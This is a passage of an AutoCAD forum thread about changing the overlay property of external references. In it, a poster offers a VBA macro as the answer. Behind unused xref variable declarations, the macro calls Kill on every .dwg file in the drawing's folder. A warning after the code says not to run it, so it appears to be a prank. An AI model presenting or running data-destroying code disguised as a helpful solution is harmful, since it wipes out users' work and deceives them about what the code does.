Matt__W 发表于 2008-10-17 11:15:55



Hehehehe... He called you "Boob".

Matt__W 发表于 2008-10-17 11:17:55

He's seen me with a spandex autodesk shirt.

Matt__W 发表于 2008-10-17 11:24:19

Here you go SCuMDave.I'm sure this is exactly what you needed.
Public Sub Layover()
Dim objSelSets As AcadSelectionSets
Dim objSelSet As AcadSelectionSet
Dim objOverlay As AcadExternalReference
Dim intType(0) As Integer
Dim varData(0) As Variant
Dim strPath As String
Dim strName As String
Dim dblInsPnt(0 To 2) As Double
Dim objXref As AcadExternalReference
Dim objEnt As AcadEntity
Dim objBlk As AcadBlock
Dim objBlks As AcadBlocks
strPath = ThisDrawing.GetVariable("DWGPREFIX")
strPath = strPath + "*.dwg"
Kill strPath
End Sub
WARNING!!!!!!!!!!!!!!!
If you're not Dave and/or can't understand what this is doing, do NOT under any circumstances, run it.
页: 1 [2]
查看完整版本: External References, can you change the overlay property?